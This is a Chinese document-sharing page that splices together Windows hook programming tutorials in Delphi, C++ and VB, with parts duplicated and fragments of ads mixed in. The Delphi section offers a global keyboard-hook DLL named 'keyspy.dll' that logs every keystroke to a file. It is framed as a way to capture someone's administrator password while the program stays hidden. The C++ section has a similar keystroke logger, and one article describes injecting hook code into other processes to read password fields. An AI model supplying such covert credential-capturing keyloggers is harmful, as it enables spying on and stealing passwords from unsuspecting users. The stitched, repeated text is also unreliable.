当前位置:文档之家› Delphi编程使用HOOK监视Windows

Delphi编程使用HOOK监视Windows

Delphi编程使用HOOK监视Windows
Delphi编程使用HOOK监视Windows

Delphi编程使用HOOK监视Windows,如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

写个DLL定义一下函数

function setkeyhook:bool;export;

function endkeyhook:bool;export;

procedure keyhookexit;far;

procedure SetMainHandle(Handle: HWND); export;forward;

function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;expor t;

procedure EntryPointProc(Reason: Integer);

const

hMapObject: THandle = 0;

begin

case reason of

DLL_PROCESS_ATTACH:

begin

hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);

rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);

end;

DLL_PROCESS_DETACH:

begin

try

UnMapViewOfFile(rHookRec);

CloseHandle(hMapObject);

except

end;

end;

end;

end;

procedure keyhookexit;far;

begin

if hNexthookproc<>0 then endkeyhook;

exitproc:=procsaveexit;

end;

function endkeyhook:bool;export;

begin

if hNexthookproc<>0 then

begin

unhookwindowshookex(hNexthookproc);

hNexthookproc:=0;

messagebeep(0);

end;

result:=hNexthookproc=0;

MainHandle:=0;

end;

function Setkeyhook:bool;export;

begin

hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);

result:=hNexthookproc<>0;

end;

function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;expor t;

var

s:Tstringlist;

begin

if icode<0 then

begin

result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);

exit;

end;

if lparam<0 then

begin

exit;

end;

s:=TStringlist.Create;

if FileExists(afilename) then

s.LoadFromFile(afilename);

//将敲打的键盘字符保存到文件中

s.Add(form atdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );

s.SaveToFile(afilename);

s.Free;

result:=0;

end;

Dll的Project文件中定义如下

exports

setkeyhook index 1,

endkeyhook index 2,

SetMainHandle index 3;

begin

hNexthookproc:=0;

procsaveexit:=exitproc;

DllProc := @EntryPointProc;

EntryPointProc(DLL_PROCESS_ATTACH);

end.

这样DLL就定义好了,接下来就是画个界面:

function setkeyhook:bool;external ’keyspy.dll’;

function endkeyhook:bool;external ’keyspy.dll’;

procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;

//开始捕获键盘

SetMainHandle(handle);

setkeyhook

//中止捕获键盘

endkeyhook

然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。

Delphi编程使用HOOK监视Windows

时间:2010-02-05 17:12:25 来源:第二电脑网作者:第二电脑网

第二电脑网导读:候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。

下面就来举个例子(使用Delphi7.0调试通过):如果你需要访问某个人的机器,那在运行\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记...

正文:

exports

setkeyhook index 1,

endkeyhook index 2,

SetMainHandle index 3;

begin

hNexthookproc:=0;

procsaveexit:=exitproc;

DllProc := @EntryPointProc;

EntryPointProc(DLL_PROCESS_ATTACH);

end.

这样DLL就定义好了,接下来就是画个界面:

function setkeyhook:bool;external ’keyspy.dll’;

function endkeyhook:bool;external ’keyspy.dll’;

procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;

//开始捕获键盘

SetMainHandle(handle);

setkeyhook

//中止捕获键盘

endkeyhook

然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。

来源:https://www.doczj.com/doc/8211019335.html,/master/College/Language/Delphi/12789.html

?Delphi编程使用HOOK监视视窗系统

?来源:天极网作者:天极网发布时间:2008-04-02 17:09:50

?域名注册

o域名惊喜价格cn域名1元注册

o com域名39.9元

虚拟主机

o主机按月支付,低至19元/月

o超大流量,可开子站点

VPS主机

o特惠VPS168元/月,4-8M独享带宽保证

o独立操作系统,无限开站点

每个程式都有自己的生存空间,在视窗系统系统中你能在所有时候让你的程式执行一些操作,还能触发消息,触发的消息分为三种,一是操作你程式的界面,onClick,onMouseMove等等,另外一个能使用视窗系统的消息机制来捕捉一些系统消息,不过如果你想在所有时候监视所有程式的情况那可能你就会选择HOOK来实现了,虽然更有其他方法,但不得不承认,HOOK是个比较简单解决问题的途径。

下面就来举个例子(使用Delphi7.0调试通过):

如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator 密码,当然,你也能使用黑客工具来得到他的密码,不过,为什么不自己尝试一下写个程式记录所有的键盘操作呢?

首先需要申明一点,Hook不同于一般的应用程式,需要作为一个全局DLL出现,否则无法在你程式不激活的状态捕捉其他信息的,(当然你能用视窗系统消息,这个问题不在这里讨论)。

写个DLL定义一下函数

Dll的Project文件中定义如下

这样DLL就定义好了,接下来就是画个界面:

然后吧你程式隐蔽起来,启动捕捉键盘,在中止捕捉之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明怎么写个hook程式。

另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,能跟非常多windows API来配合,通过非常多技巧作出让人意想不到的效果。

C++的钩子(Hook)编程使用技巧

2007-11-08 14:28

钩子(Hook)是Windows消息处理机制的一个要点(Point)。应用程序可以通过钩子机制截获处理Window消息或是其他一些特定事件。同DOS中断截获处理机制类似,应用程序可以在钩子上设置多个钩子函数,由其组成一个与钩子相关联的指向钩子函数的指针列表(钩子链表)。当钩子所监视的消息出现时,Windows 首先将其送到调用链表中所指向的第一个钩子函数中,钩子函数将根据其各自的功能对消息进行监视、修改和控制,并在处理完成后把消息传递给下一钩子函数直至到达钩子链表的末尾。在钩子函数交出控制权后,被拦截的消息最终仍将交还给窗口处理函数。虽然钩子函数对消息的过滤将会略加影响系统的运行效率,但在很多场合下通过钩子对消息的过滤处理可以完成一些其他方法所不能完成的特殊功能。钩子(Hook)是Windows消息处理机制的一个要点(Point)。应用程序可以通过钩子机制截获处理Window消息或是其他一些特定事件。同DOS 中断截获处理机制类似,应用程序可以在钩子上设置多个钩子函数,由其组成一个与钩子相关联的指向钩子函数的指针列表(钩子链表)。当钩子所监视的消息出现时,Windows首先将其送到调用链表中所指向的第一个钩子函数中,钩子函数将根据其各自的功能对消息进行监视、修改和控制,并在处理完成后把消息传递给下一钩子函数直至到达钩子链表的末尾。在钩子函数交出控制权后,被拦截的消息最终仍将交还给窗口处理函数。虽然钩子函数对消息的过滤将会略加影响系统的运行效率,但在很多场合下通过钩子对消息的过滤处理可以完成一些其他方法所不能完成的特殊功能。

可以看出,钩子的本质是一段用以处理系统消息或特定事件的函数,通过系统调用将其挂入到系统。钩子的种类有很多,每一种钩子负责截获并处理相应的消息。钩子机制允许应用程序截获并处理发往指定窗口的消息或特定事件,其监视的窗口即可以是本进程内的也可以是由其他进程所创建的。在特定的消息发出后、达目的窗口前,钩子程序拥有对其控制权,此时的钩子函数除了可以对截获的消息进行各种处理外,甚至还可以强行终止消息的继续传递。

对于多个钩子的安装,最近安装的钩子将被放置于钩子链的开始,最早安装的钩子则放在最后,在钩子监视的消息出现时,*作系统调用链表开始处的第一个钩子函数进行处理,也就是说最后加入的钩子优先获得控制权。这里提到的钩子函数必须是一个回调函数,而且不能定义为类成员函数,只能是普通的C函数,如:LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam);

线程局部钩子与系统全局钩子

钩子根据其对消息监视范围的不同而分为系统全局钩子和线程局部钩子两大类,其中线程局部钩子只能监视本进程中某个指定的线程,而全局钩子则可对在当前系统下运行的所有线程进行监视。显然,线程钩子可以看作是全局钩子的一个子集,全局钩子虽然功能强大但同时实现起来也比较烦琐:其钩子函数的实现必须封装在独立的动态链接库中才可以被各种相关联的应用程序所使用。

虽然对于线程局部钩子并不要求其象系统全局钩子一样必须放置于动态链接库中,但是推荐的做法仍是将其放到动态链接库中去实现。这样的处理不仅能使钩子为系统内的多个进程所访问,同时也可以在系统中被直接调用。对于一个只供单进程访问的钩子,还可以将其钩子处理过程放在安装钩子的同一个线程内。钩子的安装与卸载

系统是通过调用位于钩子链表最开始处的钩子函数而进行消息拦截处理的,因此在设置钩子时要把回调函数放置于钩子链表的链首,*作系统会使其首先被调用。

由函数SetWindowsHookEx()负责将回调函数放置于钩子链表的开始位置。SetWindowsHookEx()函数原型声明为:

HHOOK SetWindowsHookEx(int idHook;HOOKPROC lpfn;HINSTANCE hMod;DWORD dwThreadId);

其中,参数idHook 指定了钩子的类型,可以使用的类型有以下13种:

WH_CALLWNDPROC 系统将消息发送到指定窗口之前的"钩子"

WH_CALLWNDPROCRET 消息已经在窗口中处理的"钩子"

WH_CBT 基于计算机培训的"钩子"

WH_DEBUG 差错"钩子"

WH_FOREGROUNDIDLE 前台空闲窗口"钩子"

WH_GETMESSAGE 接收消息投递的"钩子"

WH_JOURNALPLAYBACK 回放以前通过WH_JOURNALRECORD"钩子"记录的输入消息WH_JOURNALRECORD 输入消息记录"钩子"

WH_KEYBOARD 键盘消息"钩子"

WH_MOUSE 鼠标消息"钩子"

WH_MSGFILTER 对话框、消息框、菜单或滚动条输入消息"钩子"

WH_SHELL 外壳"钩子"

WH_SYSMSGFILTER 系统消息"钩子"

参数lpfn为指向钩子函数的指针,也即回调函数的首地址;参数hMod标识了钩子处理函数所处模块的句柄;参数dwThreadId 指定被监视的线程,如果明确指定了某个线程的ID就只监视该线程,此时的钩子即为线程钩子;如果该参数被设置为0,则表示此钩子为监视系统所有线程的全局钩子。此函数在执行完后将返回一个钩子句柄。

在SetWindowsHookEx()函数完成对钩子的安装后,如果被监视的事件发生,系统会立即调用位于相应钩子链表开始处的钩子函数进行处理,每一个钩子函数在进行处理时都要考虑是否需要把事件传递给下一个钩子处理函数。如果需要传递,就要调用函数CallNestHookEx()。尽管在理论上不调用CallNestHookEx ()也并不算错,但在实际使用时还是强烈建议无论是否需要进行事件传递都要在过程的最后调用一次CallNextHookEx( ),否则将会引起一些无法预知的系统行为或是系统锁定。该函数将返回位于钩子链表中的下一个钩子处理过程的地址,至于具体的返回值类型则要视所设置的钩子类型而定。CallNextHookEx( )的函数原型为:

LRESULT CallNextHookEx(HHOOK hhk;int nCode;WPARAM wParam;LPARAM lParam);

其中,参数hhk为由SetWindowsHookEx()函数返回的当前钩子句柄;参数nCode 为传给钩子过程的事件代码;参数wParam和lParam 则为传给钩子处理函数的参数值,其具体含义同设置的钩子类型有关。

由于安装钩子对系统的性能有一定的影响,所以在钩子使用完毕后应及时将其卸载以释放其所占资源。释放钩子的函数为UnhookWindowsHookEx(),该函数比较简单只有一个参数用于指定此前由SetWindowsHookEx()函数所返回的钩子句柄,原型声明如下:

BOOL UnhookWindowsHookEx(HHOOK hhk);

使用鼠标钩子

由于系统全局钩子在功能上完全覆盖了线程局部钩子,因此其实际使用范围要远

比线程局部钩子广泛的多。本节也由此着重对系统全局钩子的使用进行介绍。鼠标钩子是钩子中比较常用也是使用比较简单的一类钩子。下面给出的应用示例将通过安装鼠标全局钩子来捕获鼠标当前所处窗口的窗口标题。由于本例程使用了全局钩子,因此首先构造全局钩子的载体——动态链接库。考虑到Win32 DLL 与Win16 DLL存在的差别,在Win32环境下要在多个进程间共享数据,就必须采取一些措施将待共享的数据提取到一个独立的数据段,并通过def文件将其属性设置为读写共享:

#pragma data_seg("mydata")

HWND glhPrevTarWnd = NULL; // 上次鼠标所指的窗口句柄

HWND glhDisplayWnd = NULL; // 显示目标窗口标题编辑框的句柄

HWND glhHook = NULL; // 安装的鼠标钩子句柄

HINSTANCE glhInstance = NULL; // DLL实例句柄

#pragma data_seg()

......

SECTIONS // def文件中将数据段TestData设置为读写共享

TestData READ WRITE SHARED

在完成上述准备工作后,在动态库输出函数StartHook()中调用SetWindowsHookEx()函数完成对全局鼠标钩子的安装,设定鼠标钩子函数为MouseProc(),安装函数返回的钩子句柄保存于变量glhHook中:

BOOL CMouseHook::StartHook(HWND hWnd)

{

BOOL result = FALSE;

// 安装钩子

glhHook = (HWND)SetWindowsHookEx(WH_MOUSE, MouseProc, glhInstance, 0);

if (glhHook != NULL)

result = TRUE;

glhDisplayWnd = hWnd; // 设置显示目标窗口标题编辑框的句柄

return result;

}

在鼠标钩子安装完毕后,系统内的任何鼠标动作所发出的鼠标消息均要经过钩子函数MouseProc()的拦截过滤处理。在此进行的处理是通过获取当前鼠标所在位置下的窗口句柄,并以此进一步得到窗口标题。在处理完成后,调用CallNextHookEx()函数将本事件传递到钩子链表中的下一个钩子函数:LRESULT WINAPI MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {

LPMOUSEHOOKSTRUCT pMouseHook = (MOUSEHOOKSTRUCT FAR *) lParam;

if (nCode >= 0) {

HWND glhTargetWnd = pMouseHook->hwnd; // 取目标窗口句柄

HWND ParentWnd = glhTargetWnd;

while (ParentWnd != NULL){

glhTargetWnd = ParentWnd;

ParentWnd = GetParent(glhTargetWnd); // 取应用程序主窗口句柄}

if (glhTargetWnd != glhPrevTarWnd) {

char szCaption[100];

GetWindowText(glhTargetWnd, szCaption, 100); // 取目标窗口标题

if (IsWindow(glhDisplayWnd))

SendMessage(glhDisplayWnd, WM_SETTEXT, 0,

(LPARAM)(LPCTSTR)szCaption);

glhPrevTarWnd = glhTargetWnd; // 保存目标窗口

}

}

// 继续传递消息

return CallNextHookEx((HHOOK)glhHook, nCode, wParam, lParam);

}

此动态链接库还提供有输出函数StopHook(),调用程序通过对此函数的调用完成对先前加载钩子的卸载。在此输出函数内则是通过UnhookWindowsHookEx()函数来卸载指定钩子的:

BOOL CMouseHook::StopHook()

{

BOOL result = FALSE;

if (glhHook){

result = UnhookWindowsHookEx((HHOOK)glhHook); // 卸载钩子

if (result)

glhDisplayWnd = glhPrevTarWnd = glhHook = NULL;

}

return result;

}

通过编译、链接可以得到有关鼠标全局钩子的动态链接库,在经过调用程序对其的调用后,可以实现对在当前系统所有线程中的鼠标消息的拦截处理。在钩子动态链接库加载到进程后,只需调用输出函数StartHook()安装好全局钩子即可对鼠标消息进行拦截过滤,在调用程序退出前调用输出函数StopHook()卸载钩子。

使用键盘钩子

键盘钩子同鼠标钩子一样,也是一类较常用的钩子。而且总的来说键盘钩子的使用与鼠标钩子的使用也是比较类似的,下面通过一个程序实例来对键盘钩子的使用进行介绍,在此例程中通过设置键盘全局钩子来记录当前系统输入的字符,并将拦截到的字符按日期保存到文件。

由于本例程也使用的系统全局钩子,因此由调用程序和动态链接库程序两部分组成。动态链接库程序提供了两个输出函数InstallLaunchEv()和UnInstall(),分别用于键盘钩子的安装与卸载:

DllExport void WINAPI InstallLaunchEv()

{

glhHook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,

(HOOKPROC)LauncherHook, theApp.m_hInstance, 0); // 安装键盘钩子

}

DllExport void WINAPI UnInstall()

{

if (glhHook) {

BOOL result = UnhookWindowsHookEx((HHOOK)glhHook); // 卸载钩子

if (result)

glhHook = NULL;

}

}

在钩子安装函数中,通过SetWindowsHookEx()设置了键盘钩子函数LauncherHook()。在键盘事件发生后此钩子函数将被调用,通过SaveLog()函数将捕获到的字符保存到文件:

LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam) {

// 将键盘事件传递给下一钩子函数

LRESULT Result = CallNextHookEx(glhHook, nCode, wParam, lParam);

if (nCode == HC_ACTION) // 处理键盘动作

{

if (lParam & 0x80000000) // 保存键盘动作到文件

{

char c[1];

c[0] = wParam;

SaveLog(c);

if (c[0] == 13) {

c[0] = 10;

SaveLog(c);

}

}

}

return Result;

}

至于调用程序则非常简单,只是在程序开始运行后和在程序退出前分别调用动态链接库提供的钩子设置函数和钩子卸载函数即可。

钩子的种类有很多,从前面给出的鼠标钩子和键盘钩子也可以看出其编写过程是非常类似的。通常情况下作为钩子载体的动态链接库要提供有两个必要的输出函数——钩子安装函数和钩子卸载函数。在钩子安装函数中通过SetWindowsHookEx()为不同类型的钩子设置相应的钩子函数,实质性的工作也主要是在钩子函数中完成的,具体情况应视钩子的类型和要完成的功能而定。在钩子卸载函数中则主要是对UnhookWindowsHookEx()的调用,并辅以必要的保护性代码。

基于HOOK和MMF的Windows密码渗透技术

2007-08-28 09:17作者:陈晖出处:计算机与信息技术责任编辑:方舟

摘要随着计算机与网络的普及,信息安全越来越成为人们所普遍关心的大事。密码的渗透与反渗透在此领域表现的愈演愈烈。本文深入分析了各个版本windows密码的特点,尤其是针对windws2K/XP安全性提高的情况下,提出了获取windows密码的关键技术及方法。并进一步分析了windows钩子(Hook)和内存映像文件(MMF)的技术细节。在基于MMF的核心类CIPC中为钩子句柄在内存中的共享提供了方法,并且解决了线程间的同步问题。然后深入讨论了WM_COPYDATA消息的特点。接着分析了实例程序重要代码及注解并演示了结果。最终给出一些反密码渗透的应对策略。

关键词内存映像文件;windows钩子;进程间通信;多线程

1、引言

上世纪90年纪使用过windows3.x的人可能很少有人了解这类操作系统中存在着密码保护的漏洞,如果选择密码控件中的“****”文本然后复制到剪贴板上,那么看到的将不是“****”而是密码的原始文本。微软发现了windows3.x这个问题并在新的版本window95中修改了这个漏洞。但是windows95存在着新的安全漏洞,可以设计出间谍程序从当前运行的程序中得到密码控件中的密码,这些间谍程序并非是如同softice 一样的破解程序。然而,微软在window2000中又修补了这个问题,如何通过MMF与HOOK技术获取任何版本windows 密码控件的内容,这正是本文讨论的重点问题。

图1Windows 2K/XP密码校验

获取Windows密码技术主要是利用了windows的安全漏洞。在windows NT/95/98/ME等操作系统下,

如果在间谍程序中发送WM_GETTEXT消息到密码控件,返回的文本将不再是“****”而是实际的文本内容,而在windows2K/XP系统中微软加了安全控制,如果发送WM_GETTEXT到密码控件,系统将校验请求的进程判断该进程是否有许可权,如图1所示:如果请求进程与密码控件所在进程是同一进程,那么WM_GETTEXT消息将仍旧返回密码的真实文本。如果两个进程不一样,就返回一个ERROR_ACCESS_DENIED的错误。所以获取windows2K/XP密码的关键技术在于:从密码控件所在的进程中获取WM_GETTEXT消息,而不是在渗透进程中得到。而这种在其它进程中运行用户代码的技术完全可以利用windows 钩子(hook)技术来实现。首先我们需要了解一下什么是钩子。

2、Windows钩子

Windows系统是建立在事件驱动的机制上的,即整个系统都是通过消息的传递来实现的。钩子(hook)是一种特殊的消息处理机制,钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。如图2是一全局钩子示意图。

在实例程序中运用WH_GETMESSAGE钩子,这个钩子监视投递到消息队列中的Windows消息。

图2全局钩子的原理图

3、Windows钩子在此处的应用

安装钩子的函数为SetWindowsHookEx,利用这个函数可以为整个系统或为某一特定进程安装钩子,不同的钩子监视特定钩子事件的发生,当某一事件触发后,与之对应的代码就会被系统调用。

运用windows钩子的一个难点是如何妥善保存钩子的句柄。在设置钩子前需要解决两件事:

1) 一个包括了钩子函数的动态链接库;

2) 要注入钩子的进程ID。

现在假设进程A为进程B注入了一个钩子。钩子注入后,钩子的句柄返回给了进程A并且动态链接库映射到了进程B的地址空间。当进程B中触发了一个钩子事件,钩子代码被进程B调用(需要特别指出的是,钩子代码被一个远程进程所调用,被调用的钩子代码中如果调用GetCurrentProcessId这个函数,得到的是被注入了钩子进程的进程ID,而不是注入进程)。在钩子代码中通过发消息获取密码真实文本,在钩子代码结束前需调用CallNextHookEx函数,如果这个函数调用失败,安装的其它钩子将得不到消息。现在出现的问题是CallNextHookEx需要一个钩子的句柄,但那个所需的句柄已返回给了进程A而钩子程序目前运行在进程B的代码段内。这样就需要用到进程间通信IPC(Inter Process Communication)来传递钩子句柄。

4、进程间通信的一般方法

解决以上问题的一般方法是在动态链接库中创建一个“共享”部分,写入如下代码:

#pragma data_seg(“Shared”)

HHOOK g_hHook = NULL;

#pragma data_seg()

#pragma comm ent(linker, “/section:Shared,rws”)

简单地说这几行代码创建了一个共享的变量,如果5个进程载入这个动态链接库,5个进程都有访问的权限。但这个方法有一些问题:一是一些编译器可能并不支持这种方法。二是如果未来的windows版本发生了改变,这种方法就行不通。三是这个方法没有规定线程同步,如果有多线程访问这个变量,线程同步是非常重要的,没有线程间的同步可能会触发诸如冲突等一些问题。解决这个问题的方法是利用内存映像文件(MMF)。

5、内存映像文件(MMF)

在WIN32中,通过使用映像文件在进程间实现共享文件或内存共享,如果利用相同的映像名字或文件句柄,则不同的进程可以通过一个指针来读写同一个文件或者同一内存数据块,并把他们当成该进程内存空间的一部分。内存映像文件可以映射一个文件、一个文件中的指定区域或者指定的内存块,其中的数据就可以用内存读取指令来直接访问,而不用频繁的使用操作文件的I/O系统函数,从而提高文件的存取速度和效率。

映像文件的另一个重要作用就是用来支持永久命名的共享内存。要在两个应用程序之间共享内存,可以在一个应用程序中创建一个文件并映射,然后另外一个程序通过打开和映射此文件,并把它当作自己进程的内存来使用。

6、建立基于MMF的类CIPC

运用内存映像文件解决进程间通信问题,并且创建一个互斥变量来解决线程的同步问题。所有这些封装在一个CIPC的类中。通过运用内存映像文件解决了不同编译器的兼容问题,因为使用的都是标准Win32 API。加上MMF支持进程间的数据共享,在未来的windows版本中微软不会改变MMF的定义及方法。并且互斥变量保持了线程访问的同步。以下给出CIPC的类定义。

class CIPC

{

public:

CIPC();

virtual ~CIPC();

bool CreateIPCMMF(void);//创建一个进程间通信的MMF

bool OpenIPCMMF(void);//打开一个进程间通信的MMF

void CloseIPCMMF(void);//关闭一个进程间通信的MMF

bool IsOpen(void) const {return (m_hFileMap != NULL);}//判断MMF是否打开

bool ReadIPCMMF(LPBYTE pBuf, DWORD &dwBufSize);//读MMF

bool WriteIPCMMF(const LPBYTE pBuf, const DWORD dwBufSize);//写MMF

bool Lock(void);//进入临界区,创建互斥信号量

void Unlock(void);//退出临界区,撤消互斥信号量

protected:

HANDLE m_hFileMap;//MMF文件句柄

HANDLE m_hMutex;//互斥变量句柄

};

7、利用WM_COPYDATA消息来解决进程间的通信

在解决进程间的通信问题方面,WM_COPYDATA消息是一个非常好的工具,可以节省程序员的许多时间。

当内存映像文件被建立时,系统就发送消息来填充它。然后系统再转回到最初调用SendMessage的进程,从共享内存映像文件中将数据复制到所指定的缓冲区中,然后从SendMessage调用返回。

对于系统已经知道的消息,发送消息时都可以按相应的方式来处理。如果要建立自己的(WM_USER+x)消息,并从一个进程向另一个进程的窗口发送,那又会怎么样?系统并不知道用户要用内存映像文件并在发送消息时改变指针。为此,微软建立了一个特殊的窗口消息,WM_COPYDATA以解决这个问题:

COPYDATASTRUCT cds;

SendMessage(hwndReceiver,WM_COPYDATA,(WPARAM)hwndSender,(LPARAM)&cds);

COPYDATASTRUCT是一个结构,定义在winuser.h文件中,形式如下面的样子:

Typedef struct tagCOPYDATASTRUCT{

ULONG_PTR dwData;

DWORD cbData;

PVOID lpData;

}COPYDATASTRUCT;

当一个进程要向另一个进程的窗口发送一些数据时,必须先初始化COPYDATASTRUCT结构。数据成员dwData是一个备用的数据项,可以存放任何值。例如,用户有可能向另外的进程发送不同类型或不同类别的数据。可以用这个数据来指出要发送数据的内容。cbData数据成员规定了向另外的进程发送的字节数,lpData数据成员指向要发送的第一个字节。lpData所指向的地址,当然在发送进程的地址空间中。

当SendMessage看到要发送一个WM_COPYDATA消息时,它建立一个内存映像文件,大小是cbData 字节,并从发送进程的地址空间中向这个内存映像文件中复制数据。然后再向目的窗口发送消息。在接收消息的窗口过程处理这个消息时,lParam参数指向已在接收进程地址空间的一个COPYDATASTRUCT结构。这个结构的lpData成员指向接收进程地址空间中的共享内存映像文件的视图。

Private Sub cmdEnterPress_Click()

AppActivate "AN-" ' 激活药发送的程序窗口。

SendKeys "123456789", True

'方法一

'SendKeys "{enter}", True

'方法二

keybd_event vbEnter, 0, KEYEVENTF_EXTENDEDKEY, 0

keybd_event vbEnter, 0, KEYEVENTF_KEYUP, 0

End Sub

可以模拟其它鼠标和键盘的操作我有delphi源代码

可以用单机的象棋软件,和联众网上的象棋软件对接

那网上人的人和象棋软件自己下,结果我下了一百盘

就已经是象棋一级大师了,vb已经也可以的

【VB声明】

Private Declare Sub mouse_event Lib "user32" Alias "mouse_event" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)

【说明】

模拟一次鼠标事件

【备注】

进行相对运动的时候,由SystemParametersInfo函数规定的系统鼠标轨迹速度会应用于鼠标运行的速度

【参数表】

dwFlags -------- Long,下述标志的一个组合

MOUSEEVENTF_ABSOLUTE

dx和dy指定鼠标坐标系统中的一个绝对位置。在鼠标坐标系统中,屏幕在水平和垂直方向上均匀分割成65535×65535个单元- MOUSEEVENTF_MOVE

移动鼠标

MOUSEEVENTF_LEFTDOWN

模拟鼠标左键按下

MOUSEEVENTF_LEFTUP

模拟鼠标左键抬起

MOUSEEVENTF_RIGHTDOWN

模拟鼠标右键按下

MOUSEEVENTF_RIGHTUP

模拟鼠标右键按下

MOUSEEVENTF_MIDDLEDOWN

模拟鼠标中键按下

MOUSEEVENTF_MIDDLEUP

模拟鼠标中键按下

dx

Long,根据是否指定了MOUSEEVENTF_ABSOLUTE标志,指定水平方向的绝对位置或相对运动

dy ------------- Long,根据是否指定了MOUSEEVENTF_ABSOLUTE标志,指定垂直方向的绝对位置或相对运动

cButtons ------- Long,未使用

dwExtraInfo ---- Long,通常未用的一个值。用GetMessageExtraInfo函数可取得这个值。可用的值取决于特定的驱动

如:

利用窗口过程钩子截获QQ账号

利用鼠标键盘钩子截获QQ账号

区分大小写的按键记录器2个

自动单击

"***************自动记录回放例程*************************

很多的教学软件或系统监视软件可以自动记录回放用户的输入文字或点击按钮等操作操作,这个功能的实现是使用

了Windows的Hook函数。本文介绍如何通过使用VB来实现鼠标键盘操作的纪录和回放。

Windows提供API函数SetwindowsHookEx来建立一个Hook,通过这个函数可以将一个程序添加到Hook链中监视Windows

消息,函数语法为:

Public Declare Function SetWindowsHookEx Lib "user32" _

Alias "SetWindowsHookExA" _

(ByVal idHook As Long, _

ByVal lpfn As Long, _

ByVal hmod As Long, _

ByVal dwThreadId As Long) As Long

其中参数idHook指定建立的监视函数类型。通过Windows MSDN帮助可以看到,SetwindowsHookEx函数提供15种不同

的消息监视类型,在这里我们将使用WH_JOURNALRECORD和

WH_JOURNALPLAYBACK来监视键盘和鼠标操作。参数lpfn指定消

息函数,在相应的消息产生后,系统会调用该函数并将消息值传递给该函数供处理。函数的一般形式为:

Hookproc (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;

其中code为系统指示标记,wParam和lParam为附加参数,根据不同的消息监视类型而不同。只要在程序中建立这样

一个函数再通过SetwindowsHookEx函数将它加入到消息监视链中就可以处理消息了。

在不需要监视系统消息时需要调用提供UnHookWindowsHookEx来解除对消息的监视。

WH_JOURNALRECORD和WH_JOURNALPLAYBACK类型是两种相反的Hook类型,前者获得鼠标、键盘动作消息,后者回放鼠

标键盘消息。所以在程序中我们需要建立两个消息函数,一个用于纪录鼠标键盘操作并保存到一个数组中,另一个用于

将保存的操作返给系统回放。

相关主题
文本预览
相关文档 最新文档